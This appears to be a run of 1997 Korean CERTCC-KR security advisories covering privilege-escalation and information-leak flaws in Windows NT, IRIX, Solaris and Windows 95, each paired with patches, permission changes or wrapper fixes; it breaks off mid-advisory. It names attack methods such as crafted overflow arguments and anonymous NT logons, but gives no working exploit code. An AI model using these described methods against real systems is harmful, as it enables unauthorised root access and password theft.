Page 863: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-51-NTRedButton

------------------------------------------

최초발표일 : 97.6.5

갱신일 및 갱신내용 :

출처 : NTsecurity co.

http://www.ntsecurity.com/RedButton

--제목--------------------------------------

NT Built-in user anonymous 취약점과 대책

--설명--------------------------------------

Windows NT 3.5x와 4.0에 시스템 내부적으로 사용하기 위한 “anonymous" 계정이 존재

한다. 물론 이 계정은 일반 사용자가 사용하도록 설계되지는 않았으며 시스템간이 통신을

위해 쓰인다. 그러나 이 계정이 ereryone group과 같은 권한을 가지고 자원에 접근할 수

있도록 되어있다. 따라서 네트워크로 NT에 접근할 수 있으면 사용자나 이름이나 패스워드

없이 로그온하여 다음과 같은 일들을 할 수 있다.

-registry를 편집하여 everyone이 접근 가능한 새로운 드라이브를 공유시킨다.

-패스워드 파일을 복사한다.

-공유목록을 얻는다.

-everyone 그룹이 접근 가능한 파일을 조작한다.

-사용자 목록을 얻는다.

NTsecurity.com에서 만든 “redbutton" 프로그램은 이 같은 보안 취약점을 점검하는 프로

그램으로서 다음의 사이트에서 다운로드할 수 있다.

http://www.ntsecurity.com/RedButton

--해결책-------------------------------------

1. MS hotfix를 설치한다.

한글 버전일 경우

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/kor/nt40/sp3

영문 버전일 경우

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP2/sec-

fix/

2.파일시스템과 registry로의 접근제어를 강화한다.

*참조 : http://www.microsoft.com/ntserver/info/ fedbutton.htm

--기타--------------------------------------

자세한 설명은 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

Page 864: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-51.txt

Page 865: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-52-MSIEPowerpoint

------------------------------------------

최초발표일 :

갱신일 및 갱신내용 :

출처 : http://www.ntsecurity.net/security/ie-pp.htm

--제목--------------------------------------

IE/Powerpoint 취약점과 대책

--설명--------------------------------------

인터넷 익스플로러는 MS Office 제품(MS Word, MS powerPoint, MS Excel등)으로 작성

된 파일을 열 때 사용자에게 그 파일을 열 것인가를 묻지 않고 파일을 연다. 이러한 인터넷

익스플로러의 동작으로 인하여 사용자는 MS Word, MS Excel 매크로바이러스에 감염될

가능성을 가지고 있는 한편, 파워포인트프로그램에는 "Action Item"이라는 형식이 있어서

사용자가 마우스의 움직임이나 클릭 등의 동작과 연결시켜 임의의 외부 프로그램을 실행하

도록 지정할 수 있다.

위와 같은 문제점을 이용하면 악의의 웹사이트에서 이 웹사이트에 접속한 임의의 사용자의

컴퓨터에 인터넷 익스플로러 3.x, 4.0 그리고 MS 파워포인트97이 함께 설치된 경우 사용자

시스템내에 있는 파일을 삭제하거나 중요한 개인정보 유출을 시도하는 프로그램을 실행시킬

수 있다.

--해결책-------------------------------------

마이크로소프트사에서 제공하는 패치를 설치한다.

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참고바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-52.txt

Page 866: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-53-Runtime

------------------------------------------

최초발표일 : 97.6.20

갱신일 및 갱신내용 :

출처 : SGI Security Advisory 19970504-01-PX

--제목--------------------------------------

rld 취약점과 대책

--설명--------------------------------------

IRIX 5.x와 IRIX 6.x 시스템의 rld 프로그램의 취약성을 이용하여 원격 또는 국지에서 일반

사용자가 관리자가(root) 권한을 획득할 수 있다.

일반적인 설정에서 runtime loader는 compiler_eoe.sw.unix 서브시스템의 일부분으로

/lib/rld프로그램으로 설치된다. setuid나 setgid 프로그램들이 실행될 때 rld 프로그램은 설

정된 권한을 우회하는 방법으로 일반 사용자가 관리자(root)의 권한을 얻을 수 있다. 지역

사용자나 원격 사용자 모두가 이 취약성을 이용할 수 있다.

--해결책-------------------------------------

1. 시스템 공급업체로부터 패치를 설치한다.

http://www.sgi.com/Support/Secur/patches.html

System OS Patch

------- -----

IRIX 5.3 2064

IRIX 6.1 2063

IRIX 6.2 2044

IRIX 6.3 2044

IRIX 6.4 2044

--기타--------------------------------------

자세한 설명은 SGI Security Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-53.txt

Page 867: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-54-HP VirtualVaultA.01.01

------------------------------------------

최초발표일 : 97. 5. 30

갱신일 및 갱신내용 :

출처 : HP security Bulletin : HPSBVV9705-062, 1997. 5. 28

--제목--------------------------------------

HP VirtualVault 취약점과 대책

--설명--------------------------------------

VirualVault 트랜잭션 서버는 CGI 프로그램에 입력된 데이터를 보안기능을 통해 CGI 프로

그램으로 넘겨준다. 만일 어떤 CGI 프로그램이 입력받은 데이터를 끝까지 완전하게 읽어들

이지 못할 경우 이어서 수행되는 서브 CGI프로그램이 나머지 데이터를 넘겨받게 되며, 따

라서 사용자의 요청이 거부되거나, 보호되어야 할 데이터가 평문상태로 넘겨지게 될 수도

있다.

--해결책-------------------------------------

HP사에서 제공하고 있는 PHSS_10337패치를 가져와서 설치한다.

ftp://us-support.external.hp.-ux_patches/s700_800/10.x/

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 HP 발표 원문을 참고바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-54.txt

Page 868: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-55-IRIXScanner

------------------------------------------

최초발표일 : 97.6.7

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.16

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.16.IRIX.scanners.environ.vul

--제목--------------------------------------

IRIX Scanner 취약점과 대책

--설명--------------------------------------

Impressario 서버 1.2 패키지에 포함된 canners 프로그램에서 보안 취약성이 발견되었다.

이 보안 취약성을 이용하여 이란 사용자가 관리자(root)의 권한을 얻을 수 있다. scanners

프로그램은 scanning 디바이스를 설치, 디스플레이, 삭제하는데 사용하는 그래픽 도구이다.

하지만 scanners 프로그램이 “SGIHELPROOT" 환경변수의 값을 이용할 때 그 내용을 적절

히 검사하지 않아 이 환경변수를 조작함으로써 일반 사용자가 관리자(root)의 권한으로 임

의의 명령을 실행할 수 있다. Impressario 서버1.2는 IRIX 5.x 시스템에 옵션으로 설치되며

IRIX 6.2 이후의 Impressario 버전에서는 취약성이 존재하지 않는다.

다음과 같은 명령으로 scanners 프로그램이 설치되었는가를 확인한다.

% strings -1 /usr/sbin/scanners

scanners 프로그램이 SGIHELPROOT 환경변수를 사용하는지 확인한다.

% strings -a /usr/sbin/scanners | grep SGIHELPROOT | uniq

SGIHELPROOT

패치가 설치되었는지 확인한다.

% versions patchSG0000006.impr_scan_sw.impr

I = Insalled, R = Removed

Scanners 프로그램이 SGIHELPROOT 환경변수를 이용하고 patchSG0000006이 설치되지

않았으면 취약성이 존재한다.

--해결책-------------------------------------

1. setuid와 관리자(root) 이외의 실행 권한을 제거한다(이 경우 일반사용자는 scanners 프

로그램을 사용하지 못하게 된다).

# chmod 700/usr/sbin/scanners

2. 패치를 설치한다.

SGI사에서 제공하는 패치가 호환성 문제로 설치가 되지않을 경우 다음의 패치를 설치한다.

http://www.surf.sgi.com/SurfZone/Support/allpatch/pinfo/i5.2.p6.html

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

Page 869: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-55.txt

Page 870: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-56-IRIXDf

------------------------------------------

최초발표일 : 97.6.9

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.19

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.19.IRIX.df.buffer.overflow.vul

--제목--------------------------------------

IRIX df 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

IRIX 5.3, 6.2, 6.3 시스템에 설치된 df(1) 프로그램에서 일반 사용자가 관리자(root)의 권

한을 얻을 수 있는 보안 취약성이 발견되었다. df(1) 프로그램은 파일시스템의 사용가능 공

간과 사용된 공간에 대한 통계를 보여주는 프로그램이다. df 프로그램은 사용자가 제공하는

인수들에 대한 길이를 충분히 검사하지 않아 일반 사용자가 조작된 인수를 넘겨줌으로 내부

스택영역을 덮어쓰는 방법으로 임의의 명령을 실행시킬 수 있다. 또한 df 프로그램이

setuid root로 되어 있어 관리자(root)의 권한으로 임의의 명령을 실행시킬 수 있다. 다음과

같은 명령으로 df 프로그램이 설치되었는지 확인할 수 있다.

% ls -l /sbin/df

--해결책-------------------------------------

1. setuid와 관리자(root) 이외의 실행권한을 제거한다.

chmod 500 / sbin/df

일반 사용자가 df 프로그램을 사용해야만 한다면 다음의 해결책을 적용하도록 한다.

2. AUSCERT에서 제공하는 버퍼오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow-wrapper/overflow_wrapper.c

또는,

ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.19-df_wrapper.tar.Z

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-56.txt

Page 871: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-57-NTRedButton

------------------------------------------

최초발표일 : 97.6.9

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.20

ftp://ftp.ausxert.org.au/pub/auscert/advisory/AA-97.20.IRIX.pset.buffer.overflow.vul

--제목--------------------------------------

IRIX pset 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

IRIX 5.3, 6.2 시스템에 제공되는 pset(1) 프로그램에서 일반 사용자가 sys 그룹의 권한을

얻을 수 있는 보안 취약성이 발견되었다. pset(1) 프로그램은 시스템내의 프로세서들의 정

보를 수정하거나 보여주는 프로그램으로 다 pset 프로그램은 사용자가 제공하는 인수들에

대한 길이를 충분히 검사하지 않아 일반 사용자가 조작된 인수를 넘겨줌으로서 내부 스택영

역을 덮어쓰는 방법으로임의의 명령을 실행시킬 수 있다. 더구나 pset 프로그램은 setgid

sys로 설정되어있어 sys 그룹의 권한으로 임의의 명령을 실행시킬 수 있다. 다음과 같은

명령으로 pset 프로그램이 설치되었는지 확인할 수 있다.

% ls - l /sbin/pset

--해결책-------------------------------------

1.setgid와 관리자(root) 이외의 실행권한을 제거한다.

chmod 500 /sbin/pset

일반 사용자가 pset 프로그램을 사용해야만 한다면 다음의 해결책을 적용하도록 한다.

2. AUSCERT에서 제공하는 버퍼오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/root/overflow_wrapper/overflow_wrapper.c

또는,

ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.20-pset_wapper.tar.Z

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

Page 872: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-57.txt

Page 873: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-58-IRIXEject

------------------------------------------

최초발표일 : 97.6.9

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.21

ftp://ftp.auscert.au/pub/auscert/advisory/AA-97.21.IRIX.eject.buffer.overflow.vul

--제목--------------------------------------

IRIX eject 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

IRIX 6.2 시스템에 제공되는 eject(1) 프로그램에서 일반 사용자가 관리자(root) 권한을 얻

을 수 있는 보안 취약성이 발견되었다. eject(1) 프로그램은 분리가능한 플로피, CDROM,

테이프등과 같은 매체를 장치로부터 꺼내는 프로그램으로 플로피나 CDROM이 마운트되어

있으면 먼저 언마운트를 하게 된다. eject 프로그램은 사용자가 제공하는 인수들에 대한 길

이를 충분히 검사하지 않아 일반 사용자가 조작된 인수를 넘겨줌으로서 내부 스택영역을 덮

어쓰는 방법으로 임의의 명령을 실행시킬 수 있다. 더구나 eject 프로그램은 setuid root로

되어있어 관리자(root)의 권한으로 임의의 명령을 실행시킬 수 있다.

다음과 같은 명령으로 eject 프로그램이 설치되었는지 확인할 수 있다.

% ls - l /sbin/eject

--해결책-------------------------------------

1. setuidhk 관리자(root) 이외의 실행권한을 제거한다.

chmod 500 /sbin/eject

일반 사용자가 eject 프로그램을 사용해야만을 한다면 다음의 해결책을 적용하도록 한다.

2. AUSCERT에서 제공하는 버퍼오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/sverflow_wrapper.c

또는,

ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.20-eject_wrapper.tar.Z

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

Page 874: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-58.txt

Page 875: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-59-NTRedButton

------------------------------------------

최초발표일 : 97.6

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.22

http://www.auscert.org.au/

--제목--------------------------------------

IRIX login/scheme 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

login은 각 터미널 세션이 시작할 때 사용자를 인증하는 프로그램이며, 현재의 IRIX 버전에

서는 /usr/lib/iaf/scheme에 링크되어 있다. 사용자가 입력한 인수에 대해 길이를 충분하게

검사하지 않기 때문에 scheme 프로그램의 내부 스택을 겹쳐 쓸 수 있게 된다. 적절하게 만

들어진 인수를 이요하면 scheme 프로그램이 임의의 프로그램을 실행하도록 만들 수 있는

데, scheme 프로그램은 setuid root로 설정되어 있기 때문에 침입자는 루트 관리자의 권한

으로 임의의 프로그램을 실행시킬 수 있다.

--해결책-------------------------------------

1. setuid 와 일반 사용자의 실행 권한을 제거한다.

# chmod 500 /usr/lib/iaf/scheme

2. scheme 랩퍼(wrapper)를 설치한다.

C source :

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

바이너리 :

ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.22-scheme_wrapper.tar.Z

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 AUSCERT Advisory 원문을 참고 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-60.txt

Page 876: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-60-IRIXOrdistBOverrun

------------------------------------------

최초발표일 : 97.6.

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.23

http://www.auscert.org.au/

--제목--------------------------------------

IRIX ordist 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

ordist는 여러 호스트 상에서 동일한 파일 상태를 유지할 수 있도록 해주는 프로그램으로서

파일의 소유자, 그룹, 파일 모드, mtime을 가능한 유지한다. 사용자가 입력한 인수에 대해

길이를 충분하게 검사하지 않기 때문에 ordist 프로그램이 임의의 프로그램을 실행하도록

만들 수 있는데, ordist 프로그램은 setuid 권한이 설정되어 있기 때문에 침입자는 관리자

(root)의 권한으로 임의의 프로그램을 실행시킬 수 있다.

시스템에 ordist 프로그램이 존재하는지는 다음과 같이 확인한다.

% ls - l /usr/bsd/ordist

--해결책-------------------------------------

1. setuid와 일반 사용자의 실행 권한을 제거한다.

# chmod 500 /usr/bsd/ordist

2. ordist 랩퍼(wrapper)를 설치한다.

C source 파일 :

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

바이너리 파일 :

ftp://ftp/auscert.org.au/pub/auscert/tools/AA-97.23-ordist_wrapper.tar.Z

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 AUSCERT Advisory 원문을 참고바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-60.txt

Page 877: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-61-SGIRIXXlockBOverrun

------------------------------------------

최초발표일 : 97.6.

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.24

http://www.auscert./org.au

--제목--------------------------------------

IRIX xlock 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

xlock은 X 윈도우 화면을 잠그는 프로그램이다. 사용자가 입력한 인수에 대해 길이를 충분

하게 검사하지 않기 때문에 xlock 프로그램의 내부스택을 겹쳐 쓸 수 있게 된다. 적절하게

만들어진 인수를 이용하면 xlock프로그램이 임의의 프로그램을 실행하도록 만들 수 있는데,

xlock 프로그램은 setuid root로 설정되어 있기 때문에 침입자는 루트 관리자의 권한으로

임의의 프로그램을 실행시킬 수 있다.

시스템에 xlock 프로그램이 존재하는지는 다음과 같이 확인한다.

% ls - l /usr/bin/X11/xlock

--해결책-------------------------------------

1. setuid 와 일반 사용자의 실행 권한을 제거한다.

# chmod 500 /usr/bin/X11/xlock

2. xlock 랩퍼(wrapper)를 설치한다.

C source 파일:

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

바이너리 파일:

ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.24-xlock_wrapper.tar.Z

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 AUSCERT Advisory 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-61.txt

Page 878: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-62-SOLRpcbind

------------------------------------------

최초발표일 : 97.6.10

갱신일 및 갱신내용 :

출처 : Secure Network Inc., Sun Security Bulletin

http://www.secnet.com/navl.html

--제목--------------------------------------

Solaris rpcbind 취약성과 대책

--설명--------------------------------------

Solaris 2.x 시스템의 rpcbind가 비공식적인 포트를 사용하여 원격 RPC 프로그램 정보를

유출시킬 수 있는 취약성이 존재한다. rpcbind 프로그램은 RPC 프로그램 번호를 포트 주소

로 바꾸어 주는 서버 프로그램이다. RPC 서비스가 시작되면 사용가능한 TCP 또는 UDP

포트를 확보한 후 rpcbind에게 해당 포트번호를 알려주고 서비스해야할 RPC 프로그램 번

호를 알려준다. 클라이언트가 주어진 프로그램 번호로 RPC 호출을 하려면 먼저 rpcbind와

통신하여 RPC 요청하여 보낼 포트를 확인한다.

일반적으로 rpcbind는 TCP또는 UDP 포트 111번을 사용하는데 Solaris 2.x는 32770번 이

상의 UDP 포트를 추가적으로 사용한다. 사용하는 포트 번호는 OS 버전에 따라 다르므로

필터링을 통하여 rpc/portmapper 접근을 제한하는 것이 어렵게 된다. 따라서, rpc 요청을

TCP/UDP 포트 111번으로 보내는 대신 다른 UDP 포트로 원격 RPC 프로그램에 대한 정

보를 얻을 수 있다.

--해결책-------------------------------------

1. 패치를 설치한다.

ftp://sunsolvel.sun.com/pub/patches/patches.html

OS 버전별 패치 목록은 참조하기 바람

--기타--------------------------------------

자세한 설명은 SNI Security Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-62.txt

Page 879: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-63-SUNgetopt

------------------------------------------

최초발표일 : 97.6.

갱신일 및 갱신내용 :

출처 : SUN Security Bulletin #00141

--제목--------------------------------------

SUN getopt(3) 취약점과 대책

--설명--------------------------------------

getopt(3) 함수는 프로그램에 전달된 명령어에 있는 옵션을 분석한다. getopt(3)가 명령어

라인 인수를 처리할 때 한계를 엄격하게 검사하지 않아 getopt(3)을 사용하는 프로그램의

내부 스택 공간에 겹쳐쓰기가 가능하며, 따라서 인수를 적절히 만들어 사용하면 getopt(3)

을 이용하는 프로그램이 임의의 프로그램을 실행하도록 만들 수 있다. 이때 이러한 프로그

램에 setuid root 권한이나 setgid root 권한이 설정되어 있으면, 관리자(root)의 권한으로

임의의 프로그램을 실행시킬 수 있다.

취약성을 가지고 있는 시스템 버전은 다음과 같다.

SunOS 버전 : 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4, 5.4_x86, 5.3

Solaris 버전 : 2.5.1, 2.5, 2.4

--해결책-------------------------------------

SUN 마이트로시스템에서 제공하는 패치를 설치한다.

ftp://sunsolvel.sun.com/pub/patches/patches.html

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-63.txt

Page 880: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-64-Windows95NetworkPassword

------------------------------------------

최초발표일 : 97.6.

갱신일 및 갱신내용 :

출처 : AUSCERT Advisory AA-97.25

http://www.auscert.org.au/

--제목--------------------------------------

Win95 Network Password 취약점과 대책

--설명--------------------------------------

네트워크 패스워드가 윈도우즈 95 시스템에 의해 메모리에 저장되는 방식에 취약점이 존재

한다. 사용자가 윈도우즈 시스템에 로그온 할 때 패스워드는 암호화되어서 네트워크를 통해

전송되지만, 윈도우즈 95 시스템은 이 패스워드를 일반 텍스트 형태로 메모리에 저장한다.

그러므로, 시스템의 메모리 구조를 분석하면 사용자의 패스워드를 알아낼 수 있게 된다. 메

모리에의 접근은 원격에서 웹사이트를 이용하여 사용자로 하여금 특정 프로그램을 실행시키

도록 유도하는 방법과 전자우편에 실행파일을 첨부하여 실행하도록 하는 방법이 있을 수 있

다.

--해결책-------------------------------------

마이크로소프트사에서 제공하는 패치를 설치한다.

Microsoft Windows 95 Update to Enhance Password Security

http://www.microsoft.com/security

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-64.txt

Page 881: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-65-At

------------------------------------------

최초발표일 : 97.6.20

갱신일 및 갱신내용 :

출처 : CERT Advisory AA-97.18

ftp://info.cert.org/pub/cert_advisories/CA-97.18.at/averflow.vul

--제목--------------------------------------

at(1) 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

at(1) 프로그램의 버퍼오버플로우를 이용하여 일반 사용자가 관리자(root) 권한으로 임의의

명령을 실행시킬 수 있는 보안 취약점이 발견되었다.

at(1) 프로그램은 원하는 시간에 실행시킬 명령들의 일정을 설정하는데 쓰인다. at(1) 프로

그램은 이 명령을 실행시킨 사용자 권한으로 실행되며 일반적으로 그 사용자를 scheduling

사용자라고 한다.

수행할 명령들의 목록은 다른 사용자들이 쓸 수 없는 디렉토리의 파일에 저장하고 파일소유

는 scheduling 사용자의 소유가 된다. 그리고 그 정보는 지정된 시간에 명령들을 수행시키

는 프로세스를 구별하는데 쓰인다. 이것은 다른 사용자들이 scheduling 사용자의 명령 목록

